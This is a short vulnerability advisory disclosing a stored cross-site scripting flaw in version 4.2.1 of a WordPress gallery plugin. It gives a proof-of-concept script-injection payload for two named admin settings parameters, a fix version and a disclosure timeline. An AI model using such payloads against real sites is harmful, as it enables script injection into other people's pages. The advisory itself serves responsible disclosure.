Plugin Name : Gallery
 
Effected Version : 4.2.1 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=gallery-plugin.php
 
gllr_return_link_text = “><script>alert(1)</script>
 
gllr_read_more_link_text = “><script>alert(2)</script>
 
Vulnerable Parameter : gllr_return_link_text, gllr_read_more_link_text
 
Type of XSS :  Stored
 
Fixed in : 4.2.2
 
http://wordpress.org/plugins/gallery-plugin/changelog/
 
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
This plugin makes it possible to implement as many galleries as you want into your website. You can add multiple pictures and description for each gallery, show them all at one page, view each one separately. Moreover, you can upload HQ images. Regular updates and simplicity of usage along with efficient functionality make it a perfect choice for your site to have an appealing look. There is also a premium version of the plugin with more useful features available.